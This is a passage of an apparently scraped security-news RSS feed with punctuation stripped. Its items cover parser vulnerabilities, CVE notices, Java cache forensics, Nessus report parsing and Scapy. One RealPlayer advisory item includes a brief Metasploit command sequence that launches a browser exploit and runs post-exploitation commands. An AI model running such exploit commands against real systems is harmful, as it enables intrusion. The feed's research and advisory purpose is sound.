it s not It s as pretty as it should be The other good thing the code does is correct coupling and cohesion All this module does is parse the data, but it doesn t really act on the data That s the correct feature of protocol parsers Parsers are the external attack surface exposed to hackers You want to keep that bit as independent from the rest of the system as possible The SDP file that it has only two includes That s awesome Conclusion ---------- The Silent Sircle protocol parsers aren t all bad Nor have I found a bug It s just that the first file I looked at, the SDP parser, demonstrates inexperience on the part of the coder Good crypto needs experienced cryptographers, good network parsing code likewise needs experienced coders </description><link>http://www.secuobs.com/revue/news/428083.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/428083.shtml</guid></item>
<item><title>BinMode  Parsing Java  idx files, pt trios</title><description>2013-02-02 16:13:51 - Windows Incident Response : Things have progressed a great deal since I last blogged on this subject Specifically, additional information and resources have been added to the ForensicsWiki page on this topic, and Brian has updated his Python code Mark Woan has created a Net console application for parsing these files, as well, and his repo contains a PDF document that delineates the structure of the various versions of these files Running my own tool against the Java deployment cache on my system, I don't see much in the way of interesting data  most of what I have on this system is the result of accessing SANS webcasts However, parsing the data from the  idx file that Corey provided, we see the following  File  d cases 781da39f-6b6c0267idx URL  http xhaitocom work builds exp_files roxjar IP  9121321731 content-length  14226 last-modified  Sun Sep 12 15 15 32 2010 UTC Server Response  ------------------------------ HTTP 11 200 OK content-length  14226 last-modified  Sun, 12 Sep 2010 15 15 32 GMT content-type  text plain date  Sun, 12 Sep 2010 22 38 35 GMT server  Apache 2 deploy-request-content-type  application x-java-archive The information displayed at the top of the output, above  Server Response , is from the header of the  idx file, while the rest of the information is from Section 2 of the file For specifics of this data, take a look at the PDF document that Mark provided Suffice to say, this is a great resource, because what you're seeing is extracted from the binary contents of the file Yes, the strings for the URL and IP address can be found via a text or keyword search, but an understanding of the data source and the data structure provides valuable context to the search hits Even better, a targeted, Sniper Forensics approach to going after the data is something that we can do now because of what we know about the data itself Okayso what  Now that we have this information available, how do we use it in exams  Perhaps the most obvious would be to parse the contents of the  idx files and check the output against the Malware Domain List, or  MDL  Another method of analysis for this information would be to parse the data and correlate statistics from all of the available  idx files  URL, IP address, content type, etc , showing the stats as an overview before digging into the data itself Combining that twoMDL check and statswould be a great way to perform data reduction One might incorporate checking against the MDL directly into a tool that parses the data within  idx files for inclusion directly into a timeline, adding the pivot points directly to the timeline itself Incorporating this with other dataspecifically, the user's web browser historywould allow an analyst to easily 'see' an Initial Infection Vector For me, the first step is to incorporate this information into a timeline --------------------------------------------------------------------- Interested in Windows DFIR training  Windows Forensic Analysis, 11-12 Mar  Timeline Analysis, 9-10 Apr Pricing and Calendar Send email here to register </description><link>http://www.secuobs.com/revue/news/425447.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/425447.shtml</guid></item>
<item><title> News  Some Versions of Ruby on Rails Vulnerable to New Parsing Attack</title><description>2013-01-30 07:50:41 - SecurityTube.Net : A vulnerability exists in Ruby on Rails  JavaScript Object Notation  JSON  code that could open the Web framework up to a slew of security problems Patches were published yesterday, but if left unpatched, the vulnerability could let attackers bypass authentication systems, inject arbitrary SQL code, inject and execute arbitrary code and perform a denial of service attack on a Ruby on Rails app The vulnerability  CVE-2013-0333  affects older versions of the framework, versions 23x and 30x, according to an alert sent by software developer Michael Koziarski yesterday to the Ruby on Rails security group on Google Groups The vulnerability stems from a problem with the JSON parsing code that allows multiple parsing backends For example, Ruby on Rails could parse YAML code, a markup format considered a superset of JSON Since both forms of code are from the same family and both can be parsed by Ruby on Rails, it s possible an attacker could take a payload and  trick the backend into decoding a subset of YAML IMAGE  </description><link>http://www.secuobs.com/revue/news/424668.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/424668.shtml</guid></item>
<item><title>Some Versions of Ruby on Rails Vulnerable to New Parsing Attack</title><description>2013-01-29 19:58:37 - threatpost   The First Stop for Security News :    A vulnerability exists in Ruby on Rails  JavaScript Object Notation  JSON  code that could open the Web framework up to a slew of security problems Patches were published yesterday, but if left unpatched, the vulnerability could let attackers bypass authentication systems, inject arbitrary SQL code, inject and execute arbitrary code and perform a denial of service attack on a Ruby on Rails app read more </description><link>http://www.secuobs.com/revue/news/424508.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/424508.shtml</guid></item>
<item><title>BinMode  Parsing Java  idx files, pt deux</title><description>2013-01-21 16:15:46 - Windows Incident Response : My last post addressed parsing Java  idx files, and since I released that post, a couple of resources related to the post have been updated In particular, Joachim Metz has updated the ForensicsWiki page he started to include more information about the format of the  idx files, with some information specific to what is thought to be the header of the files Also, Corey Harrell was kind enough to share the  idx file from this blog post with me  click here to see the graphic of what the file  looks like  in Corey's post , and I ran it through the parser to see what I could find  File  d test 781da39f-6b6c0267idx Times from header  ------------------------------ time_0  Sun Sep 12 15 15 32 2010 UTC time_2  Sun Sep 12 22 38 40 2010 UTC URL  http xhaitocom work builds exp_files roxjar IP  9121321731 Server Response  ------------------------------ HTTP 11 200 OK content-length  14226 last-modified  Sun, 12 Sep 2010 15 15 32 GMT content-type  text plain date  Sun, 12 Sep 2010 22 38 35 GMT server  Apache 2 deploy-request-content-type  application x-java-archive Ah, pretty interesting stuff Again, the  Times from header  section is comprised of, at this moment, data from those offsets within the header that Joachim has identified as possibly being time stamps In the code, I have it display only those times that are not zero What we don't have at the moment is information about the structure of the header so that we can identify to what the time stamps refer However, this code can be used to parse  idx files and help determine to what the times refer For example, in the output above we see that  time_0  is equivalent to the  last modified  field in the server response, and that the  time_2  field is a few seconds after the  date  field in the server response Perhaps incorporating this information into a timeline might be useful, while research continues in order to identify what the time stamps represent What is very useful is that the  idx files are associated with a specific user profile, so for testing purposes, an analyst should be able to incorporate browser history and  idx info into a timeline, and perhaps be able to  see  what the time stamps may refer toif the analyst were to control the entire test environment, to include the web server, even more information may be developed Speaking of timelines, Sploited commented to my previous post regarding developing timelines analysis pivot points from other resources  in the comment, a script for parsing IE history files  urlcachepl  was mentioned  I would suggest that incorporating a user's web history, as well as incorporating searches against the Malware Domain List might be extremely helpful in identifying initial infect vectors and entry points --------------------------------------------------------------------- Interested in Windows DF training  Check it out  Timeline Analysis, 4-5 Feb  Windows Forensic Analysis, 11-12 Mar Be sure to check the WindowsIR Training Page for updates </description><link>http://www.secuobs.com/revue/news/422933.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/422933.shtml</guid></item>
<item><title>BinMode  Parsing Java  idx files</title><description>2013-01-19 14:44:15 - Windows Incident Response : One of the Windows artifacts that I talk about in my training courses is application log files, and I tend to sort of gloss over this topic, simply because there are so many different kinds of log files produced by applications Some applications, in particular AV, will write their logs to the Application Event Log, as well as a text file I find this to be very useful because the Application Event Log will  roll over  as it gathers more events  most often, the text logs will continue to be written to by the application I talk about these logs in general because it's important for analysts to be aware of them, but I don't spend a great deal of time discussing them because we could be there all week talking about them With the recent  Jan, 2013  issues regarding a Java 0-day vulnerability, my interest in artifacts of compromise were piqued yet again when I found that someone had released some Python code for parsing Java deployment cache  idx files I located the  idx files on my own system, opened a couple of them up in a hex editor and began conducting pattern analysis to see if I could identify a repeatable structure I found enough information to create a pretty decent parser for the  idx files to which I have access Okay, so the big question isso what  Who cares  Well, Corey Harrell had an excellent post to his blog regarding Finding  the  Initial Infection Vector, which I think is something that folks don't do often enough Using timeline analysis, Corey identified artifacts that required closer examination  using the right tools and techniques, this information can also be included directly into the timeline  see the Sploited blog post listed in the Resources section below  to provide more context to the timeline activity The testing I've been able to do with the code I wrote has been somewhat limited, as I haven't had a system that might be infected come across my desk in a bit, and I don't have access to an  idx file like what Corey illustrated in his blog post  notice that it includes  pragma  and  cache control  statements  However, what I really like about the code is that I have access to the data itself, and I can modify the code to meet my analysis needs, much the way I did with the Prefetch file analysis code that I wrote For example, I can perform frequency analysis of IP addresses or URLs, server types, etc I can perform searches for various specific data elements, or simply run the output of the tool through the find command, just to see if something specific exists Or, I can have the code output information in TLN format for inclusion in a timeline Regardless of what I do with the code itself, I know have automatic access to the data, and I have references included in the script itself  as such, the headers of the script serve as documentation, as well as a reminder of what's being examined, and why This bridges the gap between having something I need to check listed in a spreadsheet, and actually checking or analyzing those artifacts Resources ForensicsWiki Page  Java Sploited blog post  Java Forensics Using TLN Timelines jIIr  Almost Cooked Up Some Java, Finding Initial Infection Vector --------------------------------------------------------------------- Interested in Windows DF training  Check it out  Timeline Analysis, 4-5 Feb  Windows Forensic Analysis, 11-12 Mar </description><link>http://www.secuobs.com/revue/news/422765.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/422765.shtml</guid></item>
<item><title>Critical vulnerability in Ruby on Rails parameter parsing</title><description>2013-01-09 15:37:37 - LinuxSecurity.com   Latest News : LinuxSecuritycom  The developers of Ruby on Rails are calling on users to update their Rails installations as soon as possible, following the public disclosure of flaws in the parsing of XML-formatted parameters in the Rails framework The update also fixes an unrelated issue with JSON parameter parsing </description><link>http://www.secuobs.com/revue/news/420692.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/420692.shtml</guid></item>
<item><title>Parsing The 20 Critical Security Controls</title><description>2012-12-13 19:03:33 - Security Bloggers Network : As a CISO you re faced with a fairly daunting challenge   ensure that everything you do for your enterprise is effective for your security and for your compliance The key word isn t security, and it s not compliance, it 8217 </description><link>http://www.secuobs.com/revue/news/416882.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/416882.shtml</guid></item>
<item><title>Sandboxing and parsing jQuery in 100ms</title><description>2012-11-07 17:35:06 - The Spanner : I ve been on a mission to create a reliable JavaScript sandbox I started off writing one with regular expressions which was flawed because of the inability to match whole expressions and matching characters That sandbox was called JSReg, it was broken by the very best js hackers  Alexey Silin, Jonas Magazinius, Mario Heiderich, Eduardo Vela,    </description><link>http://www.secuobs.com/revue/news/410113.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/410113.shtml</guid></item>
<item><title>Help parsing raw binary data from magnetic credit card strip </title><description>2012-09-09 03:54:37 - Reverse Engineering :    I recently got one of those nifty Square credit card readers for iPhone  they're free  that allow you to use your iDevice as a credit card point of sale device What's great is that these devices are super simple  just a coil and a resistor that go to the iPhone's microphone line The movement of the credit card induces a current in the coil, which gets picked up by the iPhone Now, my Macbook uses the same microphone setup, so I was able to record the credit card swipe onto my computer Looking at the waveform, it's easy to see the binary data I wrote some sweet code that automatically detects the  bitrate   which can change depending on swipe speed  and converts the audio data to binary, as well as some other nifty stuff As far as I can tell, my code works very well The results correspond with what I see in audacity There is only minimal error in between swipes  which would probably be fixed by error checking algorithms in a real reader, or maybe more complex sampling algorithms  Even when I swipe different cards and do a visual diff of the results, I can see that there are big sections of data that look exactly the same What I noticed was that the similarities in the data from different cards occur in multiples of 7 bits This leads me to believe that I am reading track 1 of the card, which uses the DEC SIXBIT   odd parity format However, the 7-bit samples I'm picking up don't seem to be of a consistent parity  some are even, some are odd Track 1 is supposed to be odd parity I tried shifting all 7-bit values by 1-6 bits  in case I dropped some bits somewhere , but this still didn't make it proper parity I also tried searching for individual letters  from my name , but I could not find some of them, and none of them in order Again, I also tried shifting all 7-bit values So, TL DR I think I'm getting accurate binary data from a credit card, but it doesn't seem to match up to what wikipedia says should be there Anyone have any advice or experience  Also, I'm not trying to be a credit card skimmer or anything  If I wanted to, I already have working card reader equipment This is just an attempt to make a very cheap POS platform on a normal computer or a raspberry pi or something submitted by IanCormac  link   comment  </description><link>http://www.secuobs.com/revue/news/398495.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/398495.shtml</guid></item>
<item><title>chapcrack   A tool for parsing and decrypting MS-CHAPv2 network handshakes</title><description>2012-08-08 12:33:08 - Darknet   The Darkside : </description><link>http://www.secuobs.com/revue/news/392361.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/392361.shtml</guid></item>
<item><title>Parsing Nessus CSV Output Using Bash   Episode 292</title><description>2012-06-18 23:29:03 - Security Bloggers Network : A quick tip on parsing some Nessus results and making the output compatible with some other tools Episode 292 Show Notes Episode 292 Part 1  mp3  Episode 292 Part 2  mp3  Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At  </description><link>http://www.secuobs.com/revue/news/382255.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/382255.shtml</guid></item>
<item><title>Parsing Nessus CSV Reports with PowerShell</title><description>2012-06-15 22:00:04 - Blog :    Recently in the Pauldotcom Podcast Paul was mentioning how he uses Awk, cut and other bash tools to process a Nessus CSV report file and format the host output so he could use it in another tool I saw his command and thought I would do it in PowerShell for kicks since PowerShell turns each row in to an object I can manipulate Lets take a look at the Import-Csv cmandlet and what are the members of the object it returns  PS C Users carlos Import-Csv C Users carlos Desktop nessuscsv  Get-Member TypeName  SystemManagementAutomationPSCustomObject Name          MemberType   Definition                                                               ----          ----------   ----------                                                               Equals        Method       bool Equals SystemObject obj                                            GetHashCode   Method       int GetHashCode                                                         GetType       Method       type GetType                                                            ToString      Method       string ToString                                                         CVE           NoteProperty SystemString CVE N A                                                    CVSS          NoteProperty SystemString CVSS                                                       Description   NoteProperty SystemString Description One of several ports that were previously o Host          NoteProperty SystemString Host 1921681161                                         Name          NoteProperty SystemString Name Open Port Re-check                                    Plugin ID     NoteProperty SystemString Plugin ID 10919                                            Plugin Output NoteProperty SystemString Plugin Output Port 49156 was detected as being open but Port          NoteProperty SystemString Port 0                                                     Protocol      NoteProperty SystemString Protocol tcp                                               Risk          NoteProperty SystemString Risk None                                                  Solution      NoteProperty SystemString Solution - increase checks_read_timeout and or reduce m Synopsis      NoteProperty SystemString Synopsis Previously open ports are now closed  We can see that the Nessus data for each plugin that ran is represented as NoteProperty for the object as a string Lets see if I have some vulnerabilities found that it reports as being High for this we will use the Where-Object cmdlet to filter the objects  PS C Users carlos Import-Csv C Users carlos Desktop nessuscsv  where  risk -eq  high  Plugin ID       53382 CVE             CVE-2010-3190 CVSS            93 Risk            High Host            1921681161 Protocol        tcp Port            445 Name            MS11-025  Vulnerability in Microsoft Foundation Class  MFC  Library Could Allow  Remote Code Execution  2500212  Synopsis        Arbitrary code can be executed on the remote host through the Microsoft Foundation  Class library Description     The remote Windows host contains a version of the Microsoft Foundation Class  MFC   library affected by an insecure library loading vulnerability  The path used for  loading external libraries is not securely restricted  An attacker can exploit this by tricking a user into opening an MFC application in  a directory that contains a malicious DLL, resulting in arbitrary code execution Solution        Microsoft has released a set of patches for Visual Studio NET 2003, 2005, and  2008, as well as Visual C  2005, 2008, and 2010   http technetmicrosoftcom en-us security bulletin ms11-025 Plugin Output    The following Visual C  Redistributable Package has not been patched    Product             Visual C  2008 SP1 Redistributable Package Installed version   90307294148 Fixed version       90307296161 Plugin ID       58657 CVE             CVE-2012-0163 CVSS            93 Risk            High Host            1921681161 Protocol        tcp Port            445 Name            MS12-025  Vulnerability in NET Framework Could Allow Remote Code Execution   2671605  Synopsis        The NET Framework install on the remote Windows host could allow arbitrary code  execution Description     The version of the NET Framework installed on the remote host reportedly is  affected by a code execution vulnerability because of the way NET Framework  validates parameters when passing data to a function  An attacker may be able to leverage these vulnerabilities to execute arbitrary  code on the affected system if a user can be tricked into viewing a specially  crafted web page using a web browser that can run XAML Browser Applications   XBAPs   The vulnerability could also be exploited by uploading a specially  crafted ASPNET page to a server system running IIS and then executing that page Solution        Microsoft has released a set of patches for NET Framework 10, 11, 20, 351,  and 4   http technetmicrosoftcom en-us security bulletin ms12-025 Plugin Output    - C Windows MicrosoftNET Framework v2050727 Systemdrawingdll has not been  patched Remote version   20507275420 Should be   20507275458 Plugin ID       53382 CVE             CVE-2010-3190 CVSS            93 Risk            High Host            1921681160 Protocol        tcp Port            445 Name            MS11-025  Vulnerability in Microsoft Foundation Class  MFC  Library Could Allow  Remote Code Execution  2500212  Synopsis        Arbitrary code can be executed on the remote host through the Microsoft Foundation  Class library Description     The remote Windows host contains a version of the Microsoft Foundation Class  MFC   library affected by an insecure library loading vulnerability  The path used for  loading external libraries is not securely restricted  An attacker can exploit this by tricking a user into opening an MFC application in  a directory that contains a malicious DLL, resulting in arbitrary code execution Solution        Microsoft has released a set of patches for Visual Studio NET 2003, 2005, and  2008, as well as Visual C  2005, 2008, and 2010   http technetmicrosoftcom en-us security bulletin ms11-025 Plugin Output    The following Visual C  Redistributable Package has not been patched    Product             Visual C  2008 SP1 Redistributable Package Installed version   90307294148 Fixed version       90307296161 Plugin ID       58657 CVE             CVE-2012-0163 CVSS            93 Risk            High Host            1921681160 Protocol        tcp Port            445 Name            MS12-025  Vulnerability in NET Framework Could Allow Remote Code Execution   2671605  Synopsis        The NET Framework install on the remote Windows host could allow arbitrary code  execution Description     The version of the NET Framework installed on the remote host reportedly is  affected by a code execution vulnerability because of the way NET Framework  validates parameters when passing data to a function  An attacker may be able to leverage these vulnerabilities to execute arbitrary  code on the affected system if a user can be tricked into viewing a specially  crafted web page using a web browser that can run XAML Browser Applications   XBAPs   The vulnerability could also be exploited by uploading a specially  crafted ASPNET page to a server system running IIS and then executing that page Solution        Microsoft has released a set of patches for NET Framework 10, 11, 20, 351,  and 4   http technetmicrosoftcom en-us security bulletin ms12-025 Plugin Output    - C Windows MicrosoftNET Framework v2050727 Systemdrawingdll has not been  patched Remote version   20507275420 Should be   20507275458 Great we found several One advantage is that PowerShell is not case sensitive in it's operators unless you implicitly specify it Now lets say I want to know what hosts have high vulnerabilities and only want their IP returned, for this we will use the Select-Object cmdlet and only get unique entries  PS C Users carlos Import-Csv C Users carlos Desktop nessuscsv  where  risk -eq  high   select host -Unique Host                                                                                                ----                                                                                                1921681161                                                                                       1921681160    If we like doing all of the matching and sorting in a GUI interface we can take a look of the results in a grid view Lets look at high, medium and low vulnerabilities and we will look at the Plugin ID, CVE, CVSS, Risk, Host, Protocol, Port and Name  PS C Users carlos Import-Csv C Users carlos Desktop nessuscsv  where  high , medium , low  -contains  risk   select  Plugin ID , CVE, CVSS, Risk, Host, Protocol, Port, Name  Out-GridView This would bring up the following screen for us to filter and sort the information in a graphical manner  image Now what if we want to turn the data in to an HTML Report, well PowerShell also allows us to do it using the ConvertTo-Html cmdlet and turn it in to an HTML report in list format  Import-Csv C Users carlos Desktop nessuscsv  where  high , medium , low  -contains  risk   select  Plugin ID , CVE, CVSS, Risk, Host, Protocol, Port, Name  ConvertTo-Html -As List  reporthtml This will create a report that looks like this  image One could go even fancier with pre-made CSS and HTML templates, but I will leave that for you to explore </description><link>http://www.secuobs.com/revue/news/381877.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/381877.shtml</guid></item>
<item><title>OllyDbg Resource Table Parsing Integer Overflow</title><description>2012-03-29 21:09:46 - OpenRCE  Blogs : written by waleedassar </description><link>http://www.secuobs.com/revue/news/367011.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/367011.shtml</guid></item>
<item><title>parsing JSON-enhanced syslog</title><description>2012-02-21 14:31:46 - Security Bloggers Network : Strucuted logging is cool A couple of month ago, I added support for log normalization and the 05 draft CEE standard to rsyslog At last weeks Fedora Developer's Conference, there was a huge agreement that CEE-like JSON is a great way to enhance sysl </description><link>http://www.secuobs.com/revue/news/358979.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/358979.shtml</guid></item>
<item><title>OllyDbg Export Table Parsing Integer Overflow</title><description>2012-02-09 01:10:28 - Reverse Engineering : submitted by waliedassar  link   comment  </description><link>http://www.secuobs.com/revue/news/356801.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/356801.shtml</guid></item>
<item><title>
OSINT tactics  parsing from FOCA for Maltego,  Tue, Jan 31st </title><description>2012-01-31 04:51:36 -       SANS Internet Storm Center  InfoCON  green : One practice I strongly suggest you undertake, for both yourselves and your organizations, is Open S  more  </description><link>http://www.secuobs.com/revue/news/354954.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/354954.shtml</guid></item>
<item><title>Quotation Mark Parsing Flaw Makes IE Users Vulnerable to Attack</title><description>2012-01-16 18:51:31 - threatpost   The First Stop for Security News :    A bug in Microsoft s Internet Explorer has left users of the popular browser vulnerable to cross-site scripting attacks, according to researchers at the security firm Imperva Data Security read more </description><link>http://www.secuobs.com/revue/news/352317.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/352317.shtml</guid></item>
<item><title>pyelftools   Python library for parsing ELF and DWARF</title><description>2012-01-13 22:09:49 - Reverse Engineering : submitted by pwnwaffe  link   comment  </description><link>http://www.secuobs.com/revue/news/352029.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/352029.shtml</guid></item>
<item><title>PHP 539 was release on the 10th, amongst other things, it addresses CVE-2011-4885  prevents attacks based on hash collisions  and CVE-2011-4566  integer overflow when parsing invalid exif header ,  T</title><description>2012-01-12 17:20:39 -       SANS Internet Storm Center  InfoCON  green :   more  </description><link>http://www.secuobs.com/revue/news/351732.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/351732.shtml</guid></item>
<item><title>HTTP parsing events in Suricata</title><description>2012-01-11 20:50:01 - Inliniac : With the 12rc1 release you will notice no more HTTP errors on the screen Or SMTP errors This output has been disabled finally This was a long time annoyance As you may still be interested in the errors they are now available through the rule language In rules http-eventsrules and rules smtp-eventsrules rules for all possible events errors    </description><link>http://www.secuobs.com/revue/news/351553.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/351553.shtml</guid></item>
<item><title>Novell ZenWorks Handheld Management Unicode String Parsing Integer Overflow Vulnerability</title><description>2011-12-13 04:00:46 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/346770.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/346770.shtml</guid></item>
<item><title>TugZip 35 Zip File Parsing Buffer Overflow Vulnerability</title><description>2011-12-01 15:52:14 - SecurityTube.Net : This module exploits a stack-based buffer overflow vulnerability in the latest version 35 of TugZip archiving utility In order to trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with TugZip by double click or file open By doing so, an attacker can execute arbitrary code as the victim user http blogsnyptercom IMAGE  </description><link>http://www.secuobs.com/revue/news/344802.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/344802.shtml</guid></item>
<item><title>CVE-2011-2950   RealNetworks Realplayer QCP Parsing Heap Overflow</title><description>2011-11-19 13:46:05 - SecurityTube.Net : Timeline   Vulnerability discovered by Sean de Regge and submitted to ZDI Vulnerability reported to vendor by ZDI the 2011-04-01 Coordinated public release of the vulnerability the 2011-08-16 Metasploit PoC provided the 2011-09-16 PoC provided by  Sean de Regge juan vazquez Reference s    CVE-2011-2950 ZDI-11-265 OSVDB-74549 Affected versions   RealPlayer 110 -- 111 RealPlayer SP 10 -- 115 RealPlayer 1400 -- 1405 Tested on Windows XP Pro SP3 with   Internet Explorer 70573013 Apple RealPlayer 1402633 Description   This module exploits a heap overflow in Realplayer when handling a QCP file The specific flaw exists within qcpfformatdll A static 256 byte buffer is allocated on the heap and user-supplied data from the file is copied within a memory copy loop This allows a remote attacker to execute arbitrary code running in the context of the web browser via a QCP file with a specially crafted  fmt  chunk At this moment this module exploits the flaw on Windows XP IE6, IE7 Metasploit demo   use exploit windows browser realplayer_qcp set SRVHOST 19216817821 exploit getuid sysinfo IMAGE  </description><link>http://www.secuobs.com/revue/news/341578.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/341578.shtml</guid></item>
<item><title>Stuff I Learned Scripting - - Parsing XML in a One-Liner,  Thu, Nov 10th </title><description>2011-11-10 15:30:34 -       SANS Internet Storm Center  InfoCON  green : This is the second story in this Stuff I Learned Scripting series As I write scripts,  more  </description><link>http://www.secuobs.com/revue/news/339940.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/339940.shtml</guid></item>
<item><title>CVE-2011-3402 Vulnerability in TrueType Font Parsing</title><description>2011-11-08 02:09:27 - Security Labs :    When Duqu, which most believed to be written by the same group that wrote Stuxnet, was originally uncovered, the infection vector was still unknown  how did the machines get compromised in the first place  That changed when the Hungarian research lab, CrySys, announced that it had found the dropper which was a Word file that used a new 0-day vulnerability in how Windows parses TrueType fonts Microsoft has confirmed that there is indeed a vulnerability in TrueType Font parsing An attacker could use this vulnerability to run arbitrary code in kernel mode Vulnerabilities that allow the attacker to run code directly in kernel mode are very rare, and the attacker could, for example, create new user accounts with full access rights More information is available from Microsoft in Security Advisory 2639658 Microsoft has also released a Fix-It tool that will temporarily mitigate any attack using this vulnerability Websense, as an active member of the Microsoft MAPP program, has worked with Microsoft to develop protection for our customers Our security solution will block as  Malicious Web Sites  any attempts to download a file containing an exploit that uses this vulnerability  Block message when trying to download a file exploiting CVE-2011-3402 Websense will continue to work closely with Microsoft and the security community to monitor this prevalent threat </description><link>http://www.secuobs.com/revue/news/339377.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/339377.shtml</guid></item>
<item><title>Apple Mobile OfficeImport Framework Word Document Parsing Memory Corruption Vulnerability</title><description>2011-10-13 22:17:34 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/334654.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/334654.shtml</guid></item>
<item><title> dos  - Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC -  CVE  2011-1276 </title><description>2011-08-09 11:45:38 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/321916.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/321916.shtml</guid></item>
<item><title>PyLogsParser  An Open Source Python Logs Parsing Library </title><description>2011-07-23 12:49:09 - PenTestIT : All of us know how simple it is to read raw logs from devices such as firewalls IDS IPS Routers, etc and we must enjoy doing that everyday Right  Okay  I m joking  We know how difficult it is to understand these different logs No wonder companies spent a sizeable amount of their budgets on security log readers But when a open source     IMAGE   IMAGE   IMAGE   IMAGE   IMAGE IMAGE  </description><link>http://www.secuobs.com/revue/news/318891.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/318891.shtml</guid></item>
<item><title> Tools for parsing Dropbox configuration and cache files</title><description>2011-06-21 06:41:06 - Help Net Security   News : Dropbox Reader is a suite of command-line tools for parsing configuration and cache files associated with the Dropbox cloud storage software These tools can run on Windows, Macintosh, and Linux syste </description><link>http://www.secuobs.com/revue/news/312518.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/312518.shtml</guid></item>
<item><title>Microsoft Excel SLK File Font Parsing Stack Buffer Overflow Vulnerability</title><description>2011-06-16 01:05:29 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/311518.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/311518.shtml</guid></item>
<item><title>Autonomy Keyview PRZ File Parsing Stack Buffer Overflow Vulnerability</title><description>2011-06-07 23:39:57 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/309783.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/309783.shtml</guid></item>
<item><title> local  - VisiWave VWR File Parsing Buffer Overflow</title><description>2011-05-25 16:10:54 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/307010.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/307010.shtml</guid></item>
<item><title> dos  - Microsoft Office Excel Axis Properties Record Parsing Buffer Overflow PoC -  CVE  2011-0978 </title><description>2011-04-29 20:11:49 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/301671.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/301671.shtml</guid></item>
<item><title>py360  A python library for parsing Xbox 360 file types</title><description>2011-04-19 02:23:11 - Reverse Engineering : submitted by arkem  link   comment  </description><link>http://www.secuobs.com/revue/news/299271.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/299271.shtml</guid></item>
<item><title> local  - MS Word Record Parsing Buffer Overflow MS09-027  meta  -  CVE  2009-0565 </title><description>2011-04-16 15:53:45 - Exploit DB updates : </description><link>http://www.secuobs.com/revue/news/298906.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/298906.shtml</guid></item>
<item><title>Parsing CDP Packets with Scapy</title><description>2011-04-12 01:53:54 - Blog :    Scapy is a library for python designed for the manipulation of packets, in addition we can forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more It is a Swiss army knife of packet manipulation in python It can be ran interactively or as part of a script In this blog post I will cover how to use one of the new parsers to parse CDP packets included in version 22 of scapy Cisco Discovery Protocol  CDP  is a proprietary Layer 2 Data Link Layer network protocol used to share device information with devices connected on the same subnet Even do most new networks are migrating to Link Layer Discovery Protocol  LLDP  the Cisco Discovery Protocol is in used by many, even both protocols are enabled at the same time on cisco switches and routers to provide interoperability with third party equipment from HP and Juniper In our case we will focus on CDP The first thing to do is to make sure that we are running the latest version of scapy since during my experimentation with Scapy and CDP I summited several bug reports and they where quickly fixed after the release of version 22 So do make sure you are running the latest dev version by downloading and installing from the Mecurial repository used by the project at http tracsecdevorg scapy Once install we can just run from the command prompt in Linux the command scapy an enter in to the interactive shell so we can see what info we can gain from a capture CDP Packet in a pcap file Lets start the shell  carlos infidel01 Development scapy   run_scapy WARNING  No route found for IPv6 destination    no default route  Welcome to Scapy  220-dev   The next thing we need to do is list the contributed libraries that came with Scapy 22 this is achieved with the call list_contrib   list_contrib  vqp                   VLAN Query Protocol                      status    loads    cdp                   Cisco Discovery Protocol                 status    loads    ripng                 RIPng                                    status    loads    skinny                Skinny Call Control Protocol  SCCP       status    loads    igmpv3                IGMPv3                                   status    loads    ubberlogger           Ubberlogger dissectors                   status untested dtp                   DTP                                      status    loads    bgp                   BGP                                      status    loads    rsvp                  RSVP                                     status    loads    wpa_eapol             WPA EAPOL dissector                      status    loads    mpls                  MPLS                                     status    loads    ospf                  OSPF                                     status    loads    chdlc                 Cisco HDLC and SLARP                     status    loads    etherip               EtherIP                                  status    loads    avs                   AVS WLAN Monitor Header                  status    loads    ikev2                 IKEv2                                    